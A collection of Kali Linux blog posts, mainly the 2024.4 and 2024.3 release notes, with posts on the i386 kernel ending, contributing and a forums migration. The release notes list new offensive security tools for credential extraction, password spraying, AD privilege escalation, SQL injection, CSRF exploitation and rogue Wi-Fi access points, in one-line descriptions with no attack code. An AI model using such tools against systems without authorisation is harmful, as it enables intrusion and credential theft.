Kali Linux

Kali Linux 2024.4 Release (Python 3.12, Goodbye i386, Raspberry Pi Imager & Kali NetHunter)

Mon, 16 Dec 2024 00:00:00 +0000

Just before the year starts to wrap up, we are getting the final 2024 release out! This contains a wide range of updates and changes, which are in already in effect, ready for immediate download, or updating.

The summary of the changelog since the 2024.3 release from September is:

Python 3.12 - New default Python version (Au revoir pip, hello pipx)
The end of the i386 kernel and images - Farewell x86 (images), but not goodbye (packages)
Deprecations in the SSH client: DSA keys - Reminder about using ssh1 if required
Raspberry Pi Imager Customizations Support - Able to alter settings at write time
GNOME 47 - Now able to synchronize your favorite colors
Kali Forums Refresh - New heart of the community home
Kali NetHunter - Updates to the app, kernels, installer, store and website !
New Tools - 14 new shiny toys added (and countless updated!)

A new Python version: 3.12

Python 3.12 is now the default Python interpreter. While it was released upstream a year ago , it took a bit of time to become the default in Debian , and then even more time to make it to Kali Linux , but finally it’s here. Every new version of Python brings along some deprecations or subtle changes of behavior, which in turn breaks some Python packages, and we have to investigate and fix all the issues reported by our QA system. Hence the delay.

There is a major change with this new Python version: installing third-party Python packages via pip is now strongly discouraged and disallowed by default . This change has been coming for a long time, we wrote about it 18 months ago already , been given little reminders in each release blog post since and we gave another push about it in the 2024.3 release blog post. Now it’s finally effective.

pip users, fear not! It’s not the end of the world: there is pipx as a replacement. On the surface, it provides a similar user experience, but under the hood it overcomes the one outstanding issue with pip: the lack of environment isolation.

For more details, please check our dedicated documentation page: Installing Python Applications via pipx. If you still have a hard time running a third-party Python application in Kali, please reach out to us via our bug tracker.

The end of the i386 kernel and images

…but not packages.

History lesson: i386 is a 32-bit CPU architecture, maybe more widely known by the name x86. It was the CPU architecture of the first generations of Intel Pentium, AMD K6, and Athlon. In short, it was ubiquitous in personal computers back in the 90s. Starting in 2003, a 64-bit version of the x86 architecture appeared, usually named x86-64 (or amd64 in Debian-based Linux distributions). It marked the end of the 32-bit x86 CPUs.

Despite being long obsolete, this architecture remained supported in software for years. 2019 was the year when major Linux distributions (Fedora 31 & Ubuntu ) started to drop it. Finally, in October 2024, Debian stopped building a i386 kernel (and OS images, as a consequence). Kali Linux, being based on Debian, follow suit: images and releases will no longer be created for this platform.

It’s important to note that this is not an instant death for i386 though. This is not how architectures die. The i386 kernel and images are gone, however i386 packages in general are not removed from the repository. It means that it’s still possible to run i386 programs on a 64-bit system. Either directly via the package manager (APT supports installation of i386 packages on a amd64 system), or via i386 Docker images.

With time, surely more and more i386 packages will disappear, but nobody really knows in advance which packages and ecosystems will go first, and how long others will remain. In particular, one of the biggest areas that keeps i386 alive is gaming: old games that were compiled for 32-bit x86 are still around, and enjoyed by gamers. As a consequence, there are people out there putting effort into keeping it working, and we can hope that a baseline of i386 packages will remain functional for the time being.

If you are impacted by this change and need more guidance to run your i386 binaries on Kali Linux, please reach out to us via our bug tracker, we will do our best to help.

Deprecations in the SSH client: DSA keys

The latest version of OpenSSH (9.8p1) , available in this release of Kali Linux, deprecates DSA keys for good. If you need this support to connect to very old SSH servers, you will need to use the command ssh1 instead of ssh. Let’s take this chance to review how Kali Linux deals with SSH deprecations, and what it provides to make it easier to use the SSH client for pentesting purpose.

Out of the box, Kali comes with a “standard” SSH client, as provided by Debian. It means that SSH is pre-configured with security in mind: some legacy ciphers and algorithms are disabled by default, to prevent you from using potentially weak encryption without knowing.

For pentesting purposes though, we often need to use all these legacy features, because we need to know if the server that we target has it enabled. To easily enable all the legacy features at once, we provide the command-line tool kali-tweaks. This tool is a simple menu that allows you to configure various aspects of Kali. In the Hardening section, you can configure SSH for Wide Compatibility (instead of the default Strong Security), and that’s all you need to do to maximize the capabilities of your SSH client.

With that said, when some legacy features are not even compiled in the SSH client anymore (as is the case with DSA keys), you will need to resort to another SSH client: ssh1. ssh1 comes pre-installed in this new release of Kali Linux. In practicality, ssh1 is the SSH client frozen at version 7.5 (released in March 2017). This is the last release of OpenSSH that supports the SSH v.1 protocol, and of course it also supports DSA keys. If you target very old SSH servers, you might need to use this client, assuming you are using the SSH client directly from the command-line. However, if you use it indirectly (via some tool that uses SSH), it’s possible that the tool does not know about the ssh1 command, so in practice you will lose support for DSA keys with this new Kali release. If you are in this situation, talk to us (via our our Discord server or our bug tracker), and we might be able to help.

All of this information (and more) is available in our documentation.

Raspberry Pi Imager Customizations Support

The moment that Pi users have been waiting for has arrived! We are thrilled to announce that Kali’s Raspberry Pi images now support applying customizations directly from the Raspberry Pi Imager software! This is a huge step forward, and we are so excited to bring this much-requested feature to our users. Whether you are a seasoned pro or just getting started, this update is going to make your Raspberry Pi experience even more seamless.

For those who might not be familiar with the Raspberry Pi Imager, it was first introduced in 2020 by the Raspberry Pi Foundation. This incredibly handy tool allows users to easily write Raspberry Pi operating system images onto an SD card or USB drive with just a few clicks. But that’s not all — it also lets you apply essential customizations before you even boot up your Pi! You can pre-configure a range of settings, from setting a custom username and password to choosing a hostname, connecting to a Wi-Fi network, and even adding an SSH key for remote access.

With this latest release, you can now apply these customizations to all Raspberry Pi images — with the exception of the PiTail images, which are highly specialized with their own network and user settings. Unfortunately, due to these customizations, applying them via the Raspberry Pi Imager software is not supported for PiTail images. But for everything else, the sky’s the limit!

How Does It Work?

The magic happens when you write a Raspberry Pi image to your SD card or USB drive using the imager software. If you choose to enable customizations, the settings are stored in two key files on the /boot partition of the drive:

user-data: This file contains all your personal settings, including the username and password, any locale or timezone preferences, and even your SSH public key (if you have chosen to enable SSH).
network-config: Here you will find your Wi-Fi network settings, including the pre-computed PSK (Password Security Key) for seamless connectivity.

Once the Raspberry Pi boots for the first time, these files will apply the custom settings automatically.

A quick tip: Do not forget to delete these files after the first boot to keep things secure.

Default Settings for Non-Customized Images

For users who do not wish to enable customizations, do not worry! The default settings for Raspberry Pi images will remain the same, with kali/kali for the username and password.

GNOME 47

We are excited to announce that the latest update to the GNOME Desktop, GNOME 47, is now available! This update brings numerous changes and desktop enhancements, but the most notable feature is the new support for accent color customization. You can now choose your favorite color for window and shell widgets, giving you more control over your desktop’s look and feel.

From Kali’s side, we have also worked on synchronizing this new setting with the icon theme and legacy GTK window themes to ensure a cohesive visual experience. To complement this feature, we have created multiple variants of the icon theme to match each accent color. These themes are also available across other desktop environments, allowing you to personalize your Kali experience.

Your browser does not support the video tag.

Other Improvements:

New login theme

New system-monitor panel extension

Improved color-schemes for gnome-text-editor

Kali Forums Refresh

A couple of weeks ago we launched the refresh of our Kali Forums. With this refresh we are now running a Discourse-powered forum with a new set of moderators thanks to our community moderators from Discord. We are very happy with the activity we have seen on it so far and hope to see you there!

For more information, please check out our blog post about the refresh.

New Tools in Kali

As always, we have various new tools added (to the network repositories) - 14 this time! Summarizing what has been added:

bloodyad - Active Directory privilege escalation framework (Submitted by @Arszilla)
certi - Ask for certificates to ADCS and discover templates (Submitted by @Arszilla)
chainsaw - Rapidly search and hunt through Windows forensic artefacts (Submitted by @Arszilla)
findomain - Fastest and most complete solution for domain recognition (Submitted by @Arszilla)
hexwalk - Hex analyzer, editor and viewer
linkedin2username - Generate username lists for companies on LinkedIn
mssqlpwner - Interact and pwn MSSQL servers
openssh-ssh1 - Secure SHell (SSH) client for legacy SSH1 protocol
proximoth - Control frame attack vulnerability detection tool (Submitted by @TechnicalUserX)
python-pipx - Execute binaries from Python packages in isolated environments
sara - RouterOS Security Inspector (Submitted by @casterbyte)
web-cache-vulnerability-scanner - Go-based CLI tool for testing for web cache poisoning (Submitted by @Arszilla)
xsrfprobe - An advanced Cross Site Request Forgery (CSRF/XSRF) audit and exploitation toolkit.
zenmap - The Network Mapper (nmap) front end (zenmap-kbx is no longer needed!)

There have also been numerous packages updates and new libraries as well. We also bump the Kali kernel to 6.11!

Kali NetHunter Updates

…There’s a lot here!

App

For the Kali NetHunter app, we are very glad to introduce the Mana toolkit replacement, Wifipumpkin3. After years of silence regarding android restrictions, @yesimxev’s research solved the Android IP rules mystery and he added Wifipumpkin3, which allows you to create a fake AP with working internet, even on mobile network!

We have a quick demo of Wifipumpkin3 in action if you want to see the results.

Sticking with the Kali NetHunter app, @yesimxev has added a new tab, kernel, which will allow people to flash their kernel without using recovery - direct from the app!

Store

The Kali NetHunter store has had a (long overdue) update. This is powered by F-Droid, and completely open-source, including the website, the metadata and the apps (#1 & #2) that goes with it.

We hope to work on the store more over the next few Kali releases.

At the same time, we have generated new certificates & keys, so please do not be alarmed of the change.

GPG Key: AA 12 5C D4 16 57 56 83 93 BD 57 5E E1 4B 60 F8 EF 29 08 9C
Repo Certificate: aa:cb:a8:f5:23:89:39:f9

We have also bump’d privileged extension app to the latest version upstream too.

Installer

The Kali NetHunter installer has had some work on it too! It now has a new home in its own git repo (so does rootfs & rootless) .

Currently its possible to install Kali NetHunter using either methods:

Recovery (we recommend using TWRP) - the original method
Magisk (which also give “root” permissions) - the future method

We have been supporting both methods for a while, and tried to keep them in sync with each other (as much as possible). Long term, we will be putting our focus into Magisk method (as that is our preferred method of “root” access).

As of Kali 2024.4, the installer now supports fully supports Magisk (able to flash the kernel) and also added support for v28 and higher! As well as installing via command line (Magisk & TWRP), thanks to adb! There has been work done also for APatch and KernelSU.

There has also been a ton of bug fixes and improvements made too.

Website

Another Kali NetHunter change happened is our NetHunter subdomain website (which is automated CI output).

The new structure should give an easier overview and understanding of the whole process":

All pre-created images - the items that ready to download
All supported devices for the pre-created images - Some devices, like OnePlus 7 may have multiple items to download (for multiple Android versions)
Which devices have the most options - how many supported kernels/Android versions and pre-created images
Supported kernels - Overview of ROMs and Android versions
Which and how many Android Versions are supported

Kernel/Device

From a Kali NetNethunter kernel/device point of view:

We now support 100 devices!
- Added support to Realme X7 Max 5G (RMX3031) (Thanks @dek0der)
- Added support to Xiaomi Mi 9 Lite / CC9 (pyxis)
- Updated support for Nokia 6.1 & 6.1 Plus (drg)
- Updated support for Realme C11 (RMX2185) (Thanks @Frostleaft07)
- Updated support for Xiaomi Mi 9T (davinci)
- Updated support for Xiaomi Mi A3 (xiaomi-laurel)
- Updated support for Xiaomi Pocophone F1 (beryllium)
First Android 15 device support (Xiaomi Mi A3 (xiaomi-laurel))
Generating a lot more pre-created images
The “body of knowledge” file, devices.cfg, which indexes everything, has now been turned into YAML, devices.yml.

Package

The nethunter-utils package has a new home too. And to go with it, @Robin has done a lot of audio work.

Kali NetHunter Pro Updates

Just a quick message to say that Kali NetHunter Pro now includes “NetHunter” and “Hijacker” apps.

And if you are trying to enable On-The-Go (OTG) on Xiaomi Pocophone F1 and OnePlus 6/6T, you may want to watch this guide.

Kali ARM SBC Updates

Alongside the customizable Raspberry Pi images, we have packed in several other improvements:

Raspberry Pi 500 Support: The Raspberry Pi 5 image should also have support for the recently announced Raspberry Pi 500 however, we do not have the hardware to test, so please let us know if you do!
Raspberry Pi 5:
- By default, KMS (Kernel Mode Setting) is now enabled for a smoother graphical experience. If you prefer to disable it, just comment out the dtoverlay=vc4-kms-v3d line in the /boot/config.txt file.
- Auto Detection Enhancements: We have added improved detection for DSI displays and cameras. The system will automatically load the appropriate overlays, saving you time and effort during setup. It will not work for every one, but it should work for most.
Gateworks Newport: The second partition on the Gateworks Newport image is no longer set as bootable.
USB Armory MKII: We have upgraded to u-boot 2024.10, the latest version of the bootloader that it uses.
Console Fix: The character map has been set to UTF-8, so you will no longer experience corrupt characters at the console. If you are upgrading an existing installation, you can fix this by editing the /etc/default/console-setup file and setting CHARMAP="UTF-8".
BeagleBone Black: Thanks to a community member, the Beaglebone Black build script (which is community supported) is now able to build images successfully again.

Kali Website Updates

Kali Documentation

Our Kali documentation has had a few various major updates to existing pages as well as new pages:

Installing NetHunter on the OnePlus One (new)
Installing NetHunter (updated)
Installing old i386 images (new)
Installing Python Applications via pipx (new)
NetHunter Audio (new)
NetHunter Kernel (new)
NetHunter Kex (new)
NetHunter Modules (new)
NetHunter Settings (new)
NetHunter WifiPumpkin (new)
NetHunter WPS Attacks (new)
Where and How to Contribute to Kali (updated)

This does not include numerous minor tweaking, or typo fixing!

Kali Blog Recap

Recapping since since our last release, we did the following blog posts:

Community Shout-Outs

These are people from the public who have helped Kali and the team for the last release. And we want to praise them for their work (we like to give credit where due!):

Anyone can help out, anyone can get involved!

Miscellaneous

Below are a few other things which have been updated in Kali, which we are calling out which do not have as much detail:

@elwood gave a talk at SINCON 2024 back in May 2024, which is now public: Kali Linux: Unveiling the Hidden Gems of the Industry Standard - by Jim O’Gorman
(Xfce4) xcape no longer required for super key (menu) shortcut
(GNOME) gnome-text-editor sysntax highlighting theme has been improved
Fixed LightDM session not loading profile configuration files

Get Kali Linux 2024.4

Fresh Images: So what are you waiting for? Go get Kali already!

Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce weekly builds that you can use as well. If you cannot wait for our next release and you want the latest packages (or bug fixes) when you download the image, you can just use the weekly image instead. This way you will have fewer updates to do. Just know that these are automated builds that we do not QA like we do our standard release images. But we gladly take bug reports about those images because we want any issues to be fixed before our next release!

Existing Installs: If you already have an existing Kali Linux installation, remember you can always do a quick update:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware" | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

You should now be on Kali Linux 2024.4 We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION_ID="2024.4"
VERSION="2024.4"
VERSION_CODENAME=kali-rolling
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.11.2-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We will never be able to fix what we do not know is broken! And Social networks are not bug trackers!

Want to keep up-to-date easier? We have got you!

Blog? Use our RSS feeds and newsletter
Download? We have a Torrent RSS feed
Socials? Facebook, Instagram, Mastodon & X/Twitter

Contributing to Kali

Wed, 27 Nov 2024 00:00:00 +0000

With the launch of our brand-new forums, we thought we would update our documentation and explore how everyone can contribute to the growth of Kali Linux. Kali is a multi-platform project that thrives on the the contributions of its community. Whether you’re curious about how you can pitch in or simply want to learn more about how contributions shape our platform, keep reading. For a deeper dive, don’t forget to check out the relevant Kali Docs pages.

Where Contributions Happen

Kali Linux currently benefits from community support in four primary areas: Documentation, Packages, Hardware, and Community. Let’s break down each one:

Documentation: This is hosted on our website and includes Kali Tools and Kali OS Docs. Users can contribute by improving pages and grammar written in Markdown. Check out the Kali Docs and Kali Tools sections for more details.
Packages: These are the heart of Kali Linux. They contain tools, drivers, documentation, and unit tests based on the Debian standard. Packaging is a useful skill, helpful for handling tool package upgrades or adding new tools to the Kali repository. Learn about packaging new tools or handling upstream updates in the Kali Packaging section.
Hardware: Contributions in this area help to test the stability of certain devices or port Kali to new devices or platforms, ensuring that Kali is Everywhere. Also included here is hosting Kali content, such as seeding the torrents or hosting a mirror. If you’re interested in developing Kali for a new device, explore projects related to ARM, cloud, and the Porting Kali To A New Platform section.
Community: This involves Kali users helping one another on various platforms, including the Forums, Discord, IRC, and social media. Engaging with the community can be as simple as answering questions, sharing tools, or providing feedback.

How to Contribute

So, how can you help? First, decide how much time you can commit. We appreciate all forms of contributions, whether it’s recommending a tool to another Kali user or submitting a package with an autopkgtest. Here’s a rough estimate of the time commitment for various tasks:

Documentation: 5-30 minutes. This can involve anything from correcting typos to writing whole new pages.
Packages: 30 minutes to several hours. Packaging updates or new tools requires more in-depth knowledge and testing.
Hardware: Hours to days. Helping to test specific devices, porting Kali to new platforms, or setting up mirrors can be more involved and may require future updates.
Community: 1-5 minutes. A quick comment or sharing a useful tip goes a long way.

For more information on how to get involved, check out our comprehensive Kali Documentation.

Your contributions are extremely helpful to both the community and the Kali team. We hope to see your name in future work!

Forums Refresh

Wed, 20 Nov 2024 00:00:00 +0000

Over the past year we have been hard at work on refreshing the Kali Forums, and today we are proud to announce the official launch. We have taken what we have learnt over the ~~years~~ decades, and created a new home from scratch.

At the same time, we are welcoming a new team of community moderators who have been helping us over on Discord. Before you go check it out, lets first take a look at why we are doing this.

What a forum means to us

Our forums have been a staple in Kali’s long history, spanning all the way back to before BackTrack. Then, everything was done through forums posting, including announcements, launching new projects like BackTrack, WHAX & Whoppix and their releases. They allowed like-minded individuals to create the foundation of a legacy that led to current day Kali.

The Internet and its culture has changed over time, which makes it difficult to put into perspective how influential forums were back then. For example, did you know that the WPS Pixie-Dust attack originated from a forum posting? Nowadays a large majority of people communicate through real-time chat services, like Discord. However, if the discussion about the Pixie-Dust attack occurred through real-time chat, who knows how wide spread this information would become. We view real-time chat as a good place for quick conversation, sharing initial ideas or assistance, and forums for longer term form content, such as guides/tutorials, status updates, items which commonly come up that can be referred back to. Both have their place, and we feel it is important to provide spaces for each.

	Forums	Real-Time Chat
How to access	Web browser	Web browser/Dedicated client
Who can access	Anyone	Anyone
Discussion lifespan	Long	Short
How are they viewed	Archivable and searchable	Occasionally searchable
When discussions are had	At any point, with users able to join in when it suits them	In the moment, and users who are online are able to join in

We always want to keep and maintain a forum for Kali, and make sure it is the best we can do.

To put it simply, without forums we would not have Kali.

Goodbye, vBulletin

vBulletin had been powering the forums since 2006 (from the days of Remote-Exploit) . For a long time this has worked great and provided our users a good platform to ask questions and give answers. However, we took a step back and saw that our setup was:

Lacking quite a bit of modern functionality that other forums were offering.
Not giving the same user experience and interface as our other end-user sites.
Behind the scenes, we were spending more time doing certain tasks, as it was missing moderation tools that were needed.

With a recent wave of spam bots flooding the site, it was the kick we needed to finally find the time to look for solutions.

The search

We knew from the start that there were a lot of options we could go with. We took the time to figure out what we need out of a forum and how we wanted our user experience to look. This helped us to narrow our options down to a few quality choices.

We were looking for something that has frequent updates, is secure, can integrate into our other sites, and can be customized to our liking. We spent a while weighing up the pros and cons of each, looking at examples of live environments and seeing what their communities look like. After examining our options, it became clear we needed to add another factor, self-hosting.

A question someone may be asking is why do we need to bother with all of this? Why not use something like Reddit , or some other similar service ? The issue with these options is that we do not control the site, and various rules can prevent us from using them how we would prefer to. So, we are back to looking for solutions that meet all our criteria.

XenForo and Discourse were in the lead. When left with XenForo versus Discourse, we felt like we could do well with either one. Unfortunately, XenForo does have a higher cost of entry for self-hosting. Had it not been for this, the competition would be much closer.

Hello, Discourse

After taking a look at multiple possible forum solutions and what they bring to the table, we settled on Discourse. A popular free and open source software that is well maintained with a large active community. Along with the ability to utilize plugins, custom themes, and plenty of moderation features, we knew that this was what we wanted.

So, we got to work. We took the time to review what worked and did not work on our current forum and improved upon these ideas to create the best possible experience moving forward. We finally created a theme that fits right along side Kali.org, Kali Docs and Kali Tools and added features and applied various tweaks/modification to improve the user navigation and viewing experience.

Along with this, we also have a whole new team of moderators thanks to our lovely moderators on Discord.

You may be asking at this stage, what happens to the old forum posts? Are they going to stay around? Unfortunately, we will not be able to bring the old posts forward with us. The plan is to:

Have the new Discourse running on at the same location as before, found at forums.kali.org
The vBulletin forums have been moved to /archived/, meaning they can be found at forums.kali.org/archive/

We do not wish to maintain multiple forums, so will be sun-setting the old forums:

We will be putting the vBulletin forums into read-only mode from 1st January 2025. At that time, making new threads, posting replies and PMs (Private messages aka Direct Message), will not work. Please reach out to anyone if you wish to stay in contact or follow up with any replies.
Then six (6) months afterwards, on 1st July 2025, we will close down their servers for good. Please backup anything you wish to be saved before this time. Afterwards the content will be inaccessible.

Throughout the years, Kali has changed dramatically, going from a point release to a rolling release , a new default desktop environment (GNOME to Xfce ), new default packages , and many more ways. While it is unfortunate that we cannot keep the old content around, we see a fresh slate as the perfect opportunity for new current information and ideas shared.

The way that we view this is, like a phoenix rising from the ashes. We have to burn it all down to start again, fresh and new and ready to grow into a beautiful new forum.

Hope to see you soon

Kali is a platform in a field full of fast moving knowledge and skills that can sometimes be overwhelming. It is also a field with a large and helpful community, and Kali is happy to be a part of that. We hope to see this community embrace the new Kali forum, and continue to help each other learn new ideas and grow. So please, if you have the time to answer a few questions or share some knowledge, help your fellow Kali users out, and see you soon!

The end of the i386 kernel and images

Tue, 22 Oct 2024 00:00:00 +0000

The i386 architecture has long been obsolete, and from this week, support for i386 in Kali Linux is going to shrink significantly: i386 kernel and images are going away. Images and releases will no longer be created for this platform.

Some terminology first

Let’s start with the terms used in Kali Linux to talk about CPU architectures. These terms apply more generally to any Debian-based Linux distribution.

amd64 refers to the x86-64 architecture, ie. the 64-bit version of the x86 instruction set.
i386 refers to the x86 architecture, ie. the original 32-bit x86 architecture.

What’s changing

First, the Linux kernel: starting version 6.11 (that just landed in Kali rolling), the kernel is no longer built for the i386 architecture.

Second, and as a direct consequence: the Kali Linux images. We will no longer build the i386 Installer image, the i386 Live image and the i386 Pre-Built VM images. This change impacts the next batch of weekly images (2024-W44, due next Monday) and the next Kali Linux release (2024.4, due before end of year).

However, i386 packages in general are not removed from the repository, therefore it’s still possible to run i386 programs on a 64-bit system. One can use dpkg --add-architecture i386 in order to then install i386 packages on their system via the package manager. Running i386 binaries on a 64-bit system is a standard scenario and is very well supported. Alternatively, we also provide i386 Docker images.

If you’re impacted by this change and need more guidance to run your i386 binaries on Kali Linux, please reach out to us via our bug tracker, we’ll do our best to help.

Background and context, for the curious

Kali Linux can run on a variety of CPU architectures, amd64 being by far the most popular. It’s the architecture of choice for Intel and AMD CPUs that equip personal computers (workstations and laptops alike) and servers. In short, it’s ubiquitous for personal computing. Kali can also run on i386 CPUs. i386 is the ancestor of amd64, and it was used in personal computers, back in the days before the 64-bit x86 architecture took over and replaced it.

Note that the first amd64 processor was released in 2003, and the first Debian release to support it was “4.0 Etch”, back in 2007. Also worth noting, the last i386 CPU produced seem to have been some models of the Intel Pentium 4, and were discontinued in 2007. So, this is a change a long time coming.

Now that we’ve established a rough timeline for the hardware, what about software? Of course, support in software, in particular in the Linux kernel, has to last many years after the hardware is discontinued. But with times, there’s less and less i386 CPUs out there, and less and less effort is made to maintain i386-specific code, so it slowly dies.

In Linux distributions, support for i386 has declined steadily over the years. In 2017, Arch Linux phased out 32-bit ISOs. Then the big year was 2019, with Fedora 31 dropping i386 kernel and images, and Ubuntu 19.10 doing the same.

By the end of 2023, Debian agreed that it would drop i386 kernel and images. It finally came into effect a few weeks ago, in September, when the Debian kernel team announced they would stop building i386 kernel packages. Then the 6.11 kernel was uploaded to Debian beginning of October, without i386 kernel package. It also means the end of i386 installer images.

Kali Linux is based on Debian, so it follows that Kali Linux also drops i386 kernel and images. This is going to be effective for weekly images starting 2024-W44, to be published on Monday 28th of October. It’s already effective for Kali rolling users.

What about packages, you may ask? i386 packages remain, as long as they can be rebuilt. Which means, as long as there are people to maintain it and fix i386-specific issues as they arise. One of the biggest area that keeps i386 alive is gaming: old games that were compiled for 32-bits x86 are still around, and enjoyed by gamers. Thanks to that, we can hope that a baseline of packages will remain for i386 for the time coming. And at the same time, we can expect other areas and ecosystems to drop i386 support as they see fit, to reduce maintenance efforts. So the overall number of i386 packages will slowly go down over the years, that’s for sure.

Kali Linux 2024.3 Release (Multiple transitions)

Wed, 11 Sep 2024 00:00:00 +0000

With summer coming to an end, so are package migrations, and Kali 2024.3 can now be released. You can now start downloading or upgrading if you have an existing Kali installation.

The summary of the changelog since the 2024.2 release from June is:

Qualcomm NetHunter Pro Devices - Qualcomm Snapdragon SDM845 SoC now supported
New Tools - 11x new tools in your arsenal

Our focus has been on a lot of behind the scenes updates and optimizations since the last release. There have been some messy migrations, with multiple stacks, all interrelating (transition have been like buses, all coming at once!). After the t64 transition finished up, it was straight into multiple other transitions: GCC 14, the glibc 2.40, and Python 3.12.

This last one is the most significant! This new Python release removed some long-deprecated APIs, breaking a fair number of packages. We have been busy fixing it all (weeks of work!), we are almost there, Python 3.12 will be the default in the next version of Kali - 2024.4. With Python 3.12, there will be a major change for users: it won’t be possible to install Python packages with pip anymore. We wrote about that a year ago already, we invite you to read that again if you are an avid user of pip.

But that will be for the next Kali release, 2024.4, due by the end of the year. In the meantime, this new release 2024.3 still has Python 3.11 as the default Python interpreter.

An unfortunate consequence of this situation is that, as the whole Python 3.12 stack did not enter Kali-rolling yet, it also blocked other packages (seemingly unrelated to Python) from entering Kali-rolling. In other words, over the last 2 months the pace of updates in Kali-rolling went down, making this release less exciting than usual. This temporary slowdown should end in the coming days and weeks, as Python 3.12 finally hits Kali-rolling. At this point packages will resume flowing as usual, so users of Kali-rolling should be ready for a lot of updates!

To finish: apart from packaging, various projects either got started or continued to make progress, but are not ready for release just yet (such as having a new Kali forum, NetHunter Store updates and refreshing Kali-menu).

New Tools in Kali

This Kali release is about package updates. For end users its mostly about new tools added, for us, its about the updated stacks!

The community once again has set up and added various new tools. Long term contributor @Arszilla has been busy again! Here is a highlight of what new tools have been added (to the network repositories):

goshs - Think SimpleHTTPServer, but written in Go, and with more features
graudit - Grep Rough AUDIT: source code auditing tool
gsocket - Allows two machines on different networks to communicate with each other
hekatomb - Extract and decrypt all credentials from all domain computers (Submitted by @Arszilla)
mxcheck - Info and security scanner for e-mail servers (Submitted by @Arszilla)
netexec - Network service exploitation tool that helps automate assessing the security of large networks (Submitted by @Arszilla)
netscanner - Network scanner & diagnostic tool with modern TUI (Submitted by @Arszilla)
obsidian - Private and flexible writing app that adapts to the way you think
sippts - Set of tools to audit SIP based VoIP Systems (Submitted by @Arszilla)
sprayhound - Password spraying tool and Bloodhound integration (Submitted by @Arszilla)
sqlmc - Check all URLls of a domain for SQL injections (Submitted by @Arszilla)

It goes without saying, that there has been numerous packages updates and new libraries as well.

Again, we want to shout out Arszilla and his multiple contributions. Always remember, you can contribute as well! We are always open for engagement from you if you want to get involved.

As hinted in our previous 2024.2 release, the Kali kernel is now also at 6.8.

Kali NetHunter Updates

Kali NetHunter 2024.3 has been held back for the the time being, as we are busy upating the build infrastructure. We will release the updated images when they are ready (hopefully in a few weeks), and talk whats new with them in the next Kali release 2024.4 (Bye Mana!).

Fortunately, we can say there are new supported devices! We are excited to release Kali NetHunter Pro images for devices with a Qualcomm Snapdragon SDM845 SoC (System on a Chip), such as:

OnePlus 6 (enchilada)/6T (fajita) [SDM845]
SHIFT SHIFT6mq (axolotl) [SDM845]
Xiaomi Pocophone F1 (beryllium ebbg/tianma) [SDM845]
Xiaomi Mi MIX 2S (polaris) [SDM845]
Fairphone 4 [SM7225]
…amd64 image to be used in a VM for testing/deployment

Thanks to @Shubhamvis98 for his amazing work to make this happen!

There is also good news for Hungarian NetHunters! Check out “HnLVIP NetHunter” (1st August 2024), in this podcast by @hackeslangos featuring @yesimxev, talking about getting into NetHunter, an OffSec journey and more! You can listen to it here:

Kali ARM SBC Updates

We now pass QEMU_CPU=cortex-a72 to the build scripts when building an arm64 image on an amd64 host, which should speed things back up considerably.
USBArmory devices should now properly start their DHCP server
Support has been added for the Raspberry Pi 4 Compute Module Wi-Fi device
Raspberry Pi 5 kernel version has been bumped to 6.6
- additionally due to the new firmware in use on it, if you use an A2 rated microSD card, you should see 2-3x speedup of random access
Pinebook kernel has been reverted back to a 6.1 kernel due to graphical glitches, and LCD not working on newer kernels
We have cleaned up the build dependencies list, so we do not make users install a bunch of dependencies that are no longer used when building their own custom image.

Kali Documentation

Our Kali documentation has had various updates to existing pages as well as new pages:

Install NVIDIA GPU Drivers - Hashcat not detecting GPU (updated)
Kali inside VirtualBox (Guest VM) - Expanding Storage (updated)
Kali inside VMware (Guest VM) - Expanding Storage (updated)
NetHunter Pro Waydroid (new)
Windows Anti-virus Warning (new)

Community Shout-Outs

There has been various people from the Kali community, who have directly helped the project this release. And we want to praise them for their work (we love to give credit where due!):

Kali Documentation:

And remember, the door is always open for you to be listed here next month!

Tool Documentation:

Andyshafferco for updating sparrow-wifi tool documentation page

Packaging:

Arszilla who helped packaging many new tools
X0RW3LL for help in fixing various packages for Python 3.12

Support:

rcfa, for providing the info needed to enable the Wi-Fi on Raspberry Pi 4 Compute Module
Salty_ who has once again helped with testing the Raspberry Pi images for release

Bug Fixes:

Henrique Campo for Kali-Win-Kex fixes and updated version support
Kenji Yamada for Kali-Win-Kex fixes

Anyone can help out, anyone can get involved!

New Kali Mirrors

It was a quiet release cycle on this front, with 2 new mirrors joining our network, and 2 former mirrors making a comeback, for a total of 4 new mirrors. Here they are:

Bulgaria: mirror.telepoint.bg sponsored by Telepoint and thanks to Valentin Nikolov
Italy: kali.mirror.garr.it sponsored by GARR The Italian Research and Education Network and thanks to Vincenzo Caracciolo
Netherlands: mirror.serverion.com sponsored by Serverion and thanks to Desmond van der Winden
South Korea: mirror.siwoo.org thanks to Siwoo Lim

As always, a big thanks to all the mirrors who support Kali distribution all around the world. If you have the disk space and bandwidth, we always welcome new mirrors.

Get Kali Linux 2024.3

Fresh Images: So what are you waiting for? Go get Kali already!

Existing Installs: If you already have an existing Kali Linux installation, remember you can always do a quick update:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware" | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

You should now be on Kali Linux 2024.3 We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2024.3"
VERSION_ID="2024.3"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
